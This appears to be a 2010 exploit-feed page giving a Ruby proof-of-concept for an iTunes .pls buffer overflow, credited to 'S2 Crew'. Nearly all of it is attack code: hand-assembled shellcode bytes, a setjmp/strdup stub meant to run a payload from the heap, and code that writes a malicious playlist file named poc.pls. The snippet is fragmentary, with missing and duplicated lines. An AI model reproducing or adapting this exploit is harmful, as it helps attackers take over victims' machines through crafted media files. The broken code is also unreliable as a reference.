|
Feeds -
Exploits
|
|
Written by S2 Crew
|
|
Sunday, 21 February 2010 11:13 |
# Exploit Title: iTunes .pls file handling buffer overflow| # Author: S2 Crew [Hungary] |
| # Tested on: OSX 10.5.8, Windows XP SP2
(/GS flag, DOS) |
| def make_exec_payload_from_heap_stub() |
| "\x89\xe0" + # mov eax, esp |
| "\x83\xc0\x0c" + # add eax, byte +0xc |
| "\x89\x44\x24\x08" + # mov [esp+0x8], eax |
| exec_payload_from_heap_stub = |
| [SETJMP, JMP_BUF + 32, JMP_BUF].pack("V3") + |
| [SETJMP, JMP_BUF + 24, JMP_BUF, STRDUP, |
| payload_cmd = "hereisthetrick" |
| stub = make_exec_payload_from_heap_stub() |
| stub = make_exec_payload_from_heap_stub() |
| exploit = ext + stub + payload_cmd |
| file += "NumberOfEntries=1\n" |
| file += "File1=http://1/asdf." + exploit + "\n" |
| file += "Version=2" + '\n' |
| File.open('poc.pls','w') do |f| |
|